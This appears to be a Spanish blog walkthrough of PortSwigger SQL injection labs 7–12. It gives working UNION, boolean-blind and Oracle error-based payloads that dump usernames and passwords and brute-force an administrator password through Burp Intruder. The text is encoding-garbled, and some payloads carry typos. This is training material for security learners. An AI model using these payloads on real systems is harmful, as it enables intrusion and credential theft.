馃Й Laboratorios de Inyecci贸n SQL (2陋 parte)

Continuamos con los laboratorios de Inyecci贸n SQL de Portswigger Academy. En este post cubrir茅 desde el laboratorio n煤mero 7 al 12, que son los seis siguientes a los que publiqu茅 anteriormente, por lo que s贸lo quedar谩 una tercera parte con los seis 煤ltimos.

Como siempre, cualquier duda, no teng谩is reparos en preguntarme por aqu铆 o por redes sociales. Estar茅 encantado de atenderos.

Laboratorio 7: Ataque UNION de SQLi determinando el n煤mero de columnas devueltas por la consulta

Este laboratorio contiene una vulnerabilidad inyecci贸n SQL en el filtro de categor铆a de producto. El resultado de la consulta se devuelve en la respuesta de la aplicaci贸n, por lo que puedes usar un ataque UNION para recuperar datos de otras tablas. El primer paso de este tipo de ataque es determinar el n煤mero de columnas que se devuelven por parte de la consulta. Despu茅s habr谩s de usar esta t茅cnica en otros laboratorios para construir el ataque completo.

Para resolver el laboratorio, determina el n煤mero de columnas devueltas por la consulta realizando un ataque UNION de SQLi que devuelve una fila adicional con valores nulos.

Soluci贸n:

Usa BurpSuite para interceptar y modificar la petici贸n que fija el filtro de categor铆a de producto.

Modifica el par谩metro category, d谩ndole el valor '+UNION+SELECT+NULL--. Observa que aparece un error.

Modifica el par谩metro category para agregar una columna adicional con un valor nulo:

'+UNION+SELECT+NULL,NULL--

Contin煤a a帽adiendo valores nulos hasta que el error desaparezca y la respuesta incluya contenido adicional que contenga los valores nulos.

Laboratorio 8: Ataque UNION de SQLi encontrando una columna que contenga texto

Este laboratorio contiene una vulnerabilidad SQL Injection en el filtro de categor铆a de producto. El resultado de la consulta se devuelve en la respuesta de la aplicaci贸n, por lo que puedes usar un ataque UNION para recuperar datos de otras tablas. Para construir dicho ataque, primero necesitas determinar el n煤mero de columnas devueltas por la consulta. Puedes hacerlo usando una t茅cnica que ya has aprendido. El siguiente paso es identificar una columna que sea compatible con el tipo de datos de texto.

El laboratorio proporciona un valor aleatorio que necesitas hacer aparecer dentro del resultado de la consulta. Para resolverlo, realiza un ataque UNION de inyecci贸n SQL que devuelva una fila adicional conteniendo el valor proporcionado. Esta t茅cnica te ayuda a determinar qu茅 columnas son compatibles con el tipo de datos texto.

Soluci贸n:

Usa BurpSuite para interceptar y modificar la petici贸n que fija el filtro de categor铆a de producto.

Determina el n煤mero de columnas que se devuelven por la consulta. Verifica que la consulta devuelve tres columnas, usando el siguiente payload en el par谩metro category:

'+UNION+SELECT+NULL,NULL,NULL--

Prueba a reemplazar cada null con el valor aleatorio proporcionado por el laboratorio, por ejemplo:

'+UNION+SELECT+'abcdef', NULL, NULL--

Si hay un error, pasa al siguiente null y prueba de nuevo con 茅l.

Laboratorio 9: Ataque UNION de inyecci贸n SQL, recuperando datos de otras tablas.

Este laboratorio contiene una vulnerabilidad SQL Injection en el filtro de categor铆a de producto. El resultado de la consulta se devuelve en la respuesta de la aplicaci贸n, por lo que puedes usar un ataque UNION para recuperar datos de otras tablas. Para construir dicho ataque, necesitas combinar algunas de las t茅cnicas vistas en anteriores laboratorios.

La base de datos contiene una tabla diferente llamada users, con columnas llamadas username y password.

Para resolver el laboratorio, realiza un ataque UNION de inyecci贸n SQL que devuelva todos los nombres de usuario y contrase帽as, y usa la informaci贸n obtenida para hacer login como el usuario administrator.

Soluci贸n:

Usa BurpSuite para interceptar y modificar la petici贸n que fija el filtro de categor铆a de producto.

Determina el n煤mero de columnas que se devuelven por parte de la consulta y qu茅 columnas contienen datos de texto. Verifica que la consulta devuelve dos columnas, las cuales contienen texto, usando un payload como el siguiente en el par谩metro category:

'+UNION+SELECT+'abc','def'--

Usa el siguiente payload para recuperar el contenido de la tabla users:

'+UNION+SELECT+username,+password+FROM+users--

Verifica que la respuesta de la aplicaci贸n contiene los nombres de usuario y contrase帽as.

Laboratorio 10: Ataque UNION de SQLi recuperando m煤ltiples valores en una sola columna

Este laboratorio contiene una vulnerabilidad inyecci贸n SQL en el filtro de categor铆a de producto. El resultado de la consulta se devuelve en la respuesta de la aplicaci贸n por lo que puedes usar un ataque UNION para recuperar datos de otras tablas.

La base de datos contiene una tabla diferente llamada users, con columnas llamadas username y password.

Para resolver el laboratorio, realiza un ataque UNION de inyecci贸n SQL que recupere todos los nombres de usuario y contrase帽as, y usa la informaci贸n para hacer login como el usuario administrator.

Soluci贸n:

Usa BurpSuite para interceptar y modificar la petici贸n que fija el filtro de categor铆a de producto.

Determina el n煤mero de columnas que se devuelven por parte de la consulta y qu茅 columnas contienen texto. Verifica que la consulta devuelve dos columnas, s贸lo una de las cuales contiene texto, usando un payload como el siguiente en el par谩metro category:

'+UNION+SELECT+NULL,'abc'--

Usa el siguiente payload para recuperar el contenido de la tabla users:

'+UNION+SELECT+NULL,username||'~'||password+FROM+users--

Verifica que la respuesta de la aplicaci贸n contiene los nombres de usuario y contrase帽as.

Laboratorio 11: Inyecci贸n SQL ciega con respuestas condicionales

Este laboratorio contiene una vulnerabilidad de SQL Injection ciega. La aplicaci贸n usa una cookie de rastreo para anal铆ticas, y realiza una consulta SQL que contiene el valor de la cookie enviada.

El resultado de la consulta SQL no se devuelve, y no se muestran mensajes de error. Pero la aplicaci贸n incluye un mensaje 鈥淲elcome back鈥 en la p谩gina si la consulta devuelve alguna fila.

La base de datos contiene una tabla distintas llamada users, con columnas llamadas username y password. Necesitas explotar la vulnerabilidad inyecci贸n SQL ciega para encontrar la contrase帽as del usuario administrator.

Para resolverlo, haz login como el usuario administrator.

Pista:

Puedes asumir que la contrase帽a s贸lo contiene caracteres alfanum茅ricos en min煤sculas.

Soluci贸n:

Visita la p谩gina de la tienda, y usa BurpSuite para interceptar y modificar la petici贸n que contiene la cookie TrackingId. Para simplificar, digamos que el valor original de la cookie es

TrackingId=xyz.

Modifica la cookie TrackingId, cambi谩ndola a:

TrackingId=xyz' AND '1'='1

Verifica que el mensaje 鈥淲elcome back鈥 aparece en la respuesta.

Ahora c谩mbialo a:

TrackingId=xyz' AND '1'='2

Verifica que el mensaje 鈥淲elcome back鈥 no aparece en la respuesta. Esto demuestra c贸mo puedes probar una condici贸n booleana simple e inferir en el resultado.

Ahora c谩mbialo a:

TrackingId=xyz' AND (SELECT 'a' FROM users LIMIT 1)='a

Verifica que la condici贸n es cierta, confirmando que existe una tabla users.

C谩mbialo ahora a:

TrackingID=xyz' AND (SELECT 'a' FROM users WHERE username='administrator')='a

Verifica que la condici贸n es cierta, lo que confirma que hay un usuario administrator.

Ahora vamos a determinar cu谩ntos caracteres hay en la contrase帽a del usuario administrator. Para hacerlo, cambia el valor a:

TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a

Esta condici贸n deber铆a ser cierta, lo que confirmar铆a que la contrase帽a tiene una longitud superior a un car谩cter.

Env铆a una serie de valores de seguimiento para probar distintas longitudes para la contrase帽a:

TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>2)=鈥檃

Despu茅s env铆a:

TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>3)='a

Y as铆 continuamente. Puedes hacerlo manualmente usando Burp Repeater, ya que la longitud ser谩 corta. Cuando la condici贸n deje de ser cierta (cuando el mensaje 鈥淲elcome back鈥 desaparezca), habr谩s determinado la longitud de la contrase帽a, la cual, de hecho, es de 20 caracteres.

Despu茅s de determinar la longitud de la contrase帽a, el siguiente paso es probar el car谩cter para cada posici贸n y determinar su valor. Esto implica una cantidad de peticiones enorme, por lo que puedes usar Burp Intruder. Env铆a la petici贸n con la que est谩s trabajando a Burp Intruder, usando el men煤 contextual (bot贸n derecho sobre la petici贸n y clic sobre Send to Intruder).

En la pesta帽a Positions de Burp Intruder, cambia el valor de la cookie a:

TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a

Aqu铆 se utiliza la funci贸n SUBSTRING() para extraer un solo car谩cter de la contrase帽a, y probarlo frente a un valor espec铆fico. Nuestro ataque iterar谩 por cada posici贸n y valor posible, probando cada uno por turnos.

Ubica marcadores de posici贸n para el payload alrededor del car谩cter a final en el valor de la cookie. Para ello, selecciona la a y haz clic en el bot贸n 鈥淎dd 搂鈥. Deber铆as ver el siguiente valor en la cookie (f铆jate en los marcadores de posici贸n del payload):

TrackingID=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='搂a搂

Para probar cada car谩cter en cada posici贸n, necesitas enviar payloads adecuados en la posici贸n de payload que has definido. Puedes asumir que la contrase帽a s贸lo contiene caracteres alfanum茅ricos en min煤sculas. Ve a la pesta帽a de Payloads, comprueba que 鈥淪imple list鈥 est谩 seleccionado y bajo Payload settings a帽ade los payloads en los rangos a 鈥 z y 0 鈥 9. Puedes seleccionarlos f谩cilmente usando el desplegable 鈥淎dd from list鈥.

Para poder decir cu谩ndo el car谩cter correcto ha sido enviado, necesitar谩s filtrar cada respuesta para la expresi贸n 鈥淲elcome back鈥. Para ello, ve a la pesta帽a Settings y a la secci贸n 鈥淕rep 鈥 Match鈥. Limpia las entradas existentes en la lista, y a帽ade el valor 鈥淲elcome back鈥.

Lanza el ataque clicando sobre 鈥淪tart attack鈥 o seleccionando 鈥淪tart attack鈥 en el men煤 de Intruder.

Revisa los resultados del ataque para encontrar el valor del car谩cter en primera posici贸n. Deber铆as ver una columna en los resultados llamada 鈥淲elcome back鈥. Una de las filas deber铆a tener un tick en esta columna. El payload de esa fila es el valor del car谩cter en primera posici贸n.

Ahora, simplemente necesitas relanzar el ataque para cada una de las otras posiciones de la contrase帽a, para determinar sus valores. Para ello, vuelve a la ventana principal de Burp, y en la pesta帽a Positions de Intruder cambia el desplazamiento especificado de 1 a 2. Deber铆as ver un valor de cookie como:

TrackingId=xyz' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='搂a搂

Lanza el ataque modificado, revisa los resultados y anota el car谩cter en la segunda posici贸n.

Contin煤a el proceso probando las posiciones 3, 4 y siguientes, hasta que tengas la contrase帽a completa.

En el navegador, haz clic en 鈥淢y account鈥 para abrir la p谩gina de login. Usa la contrase帽a para hacer login como el usuario administrator.

Nota:

Para usuarios avanzados, la soluci贸n descrita aqu铆 puede ser m谩s elegante. Por ejemplo, en lugar de iterar sobre cada car谩cter, podr铆as realizar una b煤squeda binaria del espacio del car谩cter. O podr铆as crear un ataque simple con Intruder con dos posiciones de payload y el tipo de ataque 鈥淐luster bomb鈥, y trabajar con todas las permutaciones de posiciones y valores de caracteres.

Laboratorio 12: SQLi ciega con errores condicionales

Este laboratorio contiene una vulnerabilidad de SQL Injection ciega. La aplicaci贸n usa una cookie de rastreo para anal铆ticas, y realiza una consulta SQL que contiene el valor de la cookie enviada.

El resultado de la consulta SQL no se devuelve, y la aplicaci贸n no responde de forma distinta dependiendo de si la consulta devuelve alguna fila. Si la consulta SQL causa un error, entonces la aplicaci贸n devuelve un mensaje de error personalizado.

La base de datos contiene una tabla diferente llamada users, con columnas llamadas username y password. Necesitas explotar la vulnerabilidad de SQLi ciega para encontrar la contrase帽a del usuario administrator.

Para resolver el laboratorio, haz login como el usuario administrator.

Pista:

Este laboratorio usa una base de datos Oracle.

Soluci贸n:

Visita la p谩gina de la tienda y usa BurpSuite para interceptar y modificar la petici贸n que contiene la cookie TrakingId. Para simplificar, digamos que el valor original de la cookie es TrackingId=xyz.

Modifica la cookie TrackingId, a帽adiendo una comilla simple al final:

TrackingId=xyz

Verifica que se recibe un mensaje de error.

Ahora c谩mbialo a dos comillas simples:

TrackingId=xyz''

Verifica que el error desaparece. Esto sugiere que un error de sintaxis (en este caso, la comilla sin cerrar) causa un efecto detectable en la respuesta.

Ahora necesitas confirmar que el servidor est谩 interpretando la inyecci贸n como una consulta SQL, que el error es un error de sintaxis SQL y no otro tipo de error. Para hacerlo, lo primero es construir una subconsulta usando sintaxis SQL v谩lida. Prueba enviando:

TrackingId=xyz'||(SELECT '')||'

En este caso, f铆jate que la consulta sigue apareciendo como no v谩lida. Esto puede deberse al tipo de base de datos. Prueba especificando un nombre de tabla predecible en la consulta:

TrackingId=xyz'||(SELECT '' FROM dual)||'

Como ya no recibes el error, eso indica que el objetivo probablemente est茅 usando una base de datos Oracle, lo que requiere que la sentencia SELECT especifique expl铆citamente un nombre de tabla.

Ahora que has creado lo que parece ser una consulta v谩lida, prueba a enviar una consulta no v谩lida manteniendo la sintaxis de SQL v谩lida. Por ejemplo, consultando una tabla no existente:

TrackingId=xyz'||(SELECT '' FROM not-a-real-table)||

Esta vez se devuelve un error. Este comportamiento sugiere que tu inyecci贸n est谩 siendo procesada como una consulta SQL en el back-end.

Ahora que est谩s seguro de inyectar siempre consultas SQL sint谩cticamente v谩lidas, puedes usar esta respuesta de error para inferir informaci贸n clave acerca de la base de datos. Por ejemplo, para verificar que existe la tabla users, env铆a la siguiente consulta:

TrackingId=xyz'||(SELECT '' FROM users WHERE ROWNUM = 1)||'

Como esta consulta no devuelve un error, podemos deducir que esta tabla existe. F铆jate que la condici贸n WHERE ROWNUM = 1 es importante para prevenir que la consulta devuelva m谩s de una fila, lo que romper铆a nuestra concatenaci贸n.

Tambi茅n puedes explotar este comportamiento para probar condiciones. Primero, env铆a la siguiente consulta:

TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'

Verifica que se recibe un mensaje de error.

Ahora c谩mbialo a:

TrackingId=xyz'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'

Verifica que el error desaparece. Esto demuestra que puedes activar un error condicionalmente seg煤n la veracidad de una condici贸n espec铆fica. La sentencia CASE prueba una condici贸n y eval煤a a una expresi贸n si la condici贸n es cierta y a otra expresi贸n si dicha condici贸n es falsa. La expresi贸n contiene un dividido por cero, lo que provoca un error. En este caso, los dos payloads prueban las condiciones 1=1 y 1=2, y se recibe un error cuando la condici贸n es true.

Puedes usar este comportamiento para probar si existen entradas espec铆ficas en una tabla. Por ejemplo, usa la siguiente consulta para comprobar si el nombre administrator existe:

TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

Verifica que la condici贸n es cierta (se recibe el error), confirmando que existe un usuario llamado administrator.

El siguiente paso es determinar cu谩ntos caracteres hay en la contrase帽a del usuario administrator. Para ello, cambia el valor a:

TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>1 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

Esta condici贸n deber铆a ser cierta, confirmando que la contrase帽a tiene m谩s de un car谩cter.

Env铆a una serie de valores de seguimiento para probar distintas longitudes de contrase帽a. Env铆a:

TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>2 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

Y despu茅s:

TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>3 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

Sigue con ello. Puedes hacerlo manualmente usando Burp Repeater, ya que la longitud no ser谩 demasiado larga. Cuando la condici贸n deje de ser cierta (cuando el error desaparezca), habr谩s determinado la longitud de la contrase帽a, la cual, de hecho, es de 20 caracteres.

Despu茅s de determinar la longitud, el siguiente paso es probar caracteres para cada posici贸n de cara a determinar su valor. Esto implica un n煤mero de peticiones mucho m谩s grande, por lo que necesitar谩s usar Burp Intruder. Env铆a la petici贸n con la que est谩s trabajando a Burp Intruder, usando el men煤 contextual.

En la pesta帽a Positions de Burp Intruder, cambia el valor de la cookie a:

TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

Esto hace uso de la funci贸n SUBSTR() para extraer un car谩cter de la contrase帽a y probarlo frente a un valor espec铆fico. Nuestro ataque iterar谩 por cada posici贸n y valor posible, probando cada uno por turnos.

Sit煤a una posici贸n de payload alrededor de la 煤ltima a del valor de la cookie. Para ello, simplemente selecciona la a y haz clic en el bot贸n 鈥淎dd 搂鈥. Deber铆as ver el siguiente valor en la cookie (f铆jate en los marcadores de posici贸n):

TrackingId=xyz'||(SELET CASE WHEN SUBSTR(password,1,1)='搂a搂' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

Para probar el car谩cter en cada posici贸n, necesitar谩s enviar los payloads adecuados en la posici贸n del payload que has definido. Puedes asumir que la contrase帽a contiene s贸lo caracteres alfanum茅ricos en min煤sculas. Ve a la pesta帽a Payloads, comprueba que 鈥淪imple list鈥 est谩 seleccionado y bajo 鈥淧ayload settings鈥 a帽ade los payloads en los rangos a 鈥 z y 0 鈥 9. Puedes seleccionarlos f谩cilmente usando el desplegable 鈥淎dd from list鈥.

Lanza el ataque haciendo clic en el bot贸n 鈥淪tart attack鈥 o seleccionando 鈥淪tart attack鈥 en el men煤 de Intruder.

Revisa los resultados del ataque para encontrar el valor del car谩cter en la primera posici贸n. La aplicaci贸n devuelve un c贸digo de estado HTTP 500 cuando el error tiene lugar, y un c贸digo HTTP 200 normalmente. La columna 鈥淪tatus鈥 en los resultados de Intruder muestra el c贸digo de estado HTTP, por lo que f谩cilmente encontrar谩s la fila con valor 500 en esta columna. El payload que se muestre en esa fila es el valor del car谩cter en la primera posici贸n.

Ahora, simplemente, has de repetir el ataque para cada una de las otras posiciones de la contrase帽a, para determinar sus valores. Para ello, ve atr谩s a la ventana principal de Burp, y en la pesta帽a Positions de Intruder, cambia la posici贸n de 1 a 2. Deber铆as ver el siguiente valor de la cookie:

TrackingId=xyz'||(SELET CASE WHEN SUBSTR(password,2,1)='搂a搂' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

Lanza el ataque modificado, revisa los resultados, y apunta el car谩cter en la segunda posici贸n.

Contin煤a el proceso probando todas las posiciones hasta que tengas la contrase帽a completa.

En el navegador, haz clic en 鈥淢y account鈥 para abrir la p谩gina de login. Usa la contrase帽a para hacer login como usuario administrator.


Y hasta aqu铆 hemos llegado por hoy. Pr贸ximamente, como ya he dicho, publicar茅 los seis 煤ltimos laboratorios de Inyecci贸n SQL, para despu茅s comenzar con Cross-Site Scripting. Espero que esto os sea de mucha utilidad.

Deja un comentario

Este sitio usa Akismet para reducir el spam. Aprende c贸mo se procesan los datos de tus comentarios.

Ads Blocker Image Powered by Code Help Pro

隆隆隆Ads Blocker Detectado!!!

Hemos detectado que usas extensiones para bloquear anuncios. Por favor, si te interesa el contenido, no bloquees los anuncios, que son lo que nos ayuda a poder publicar m谩s contenido como este 馃槉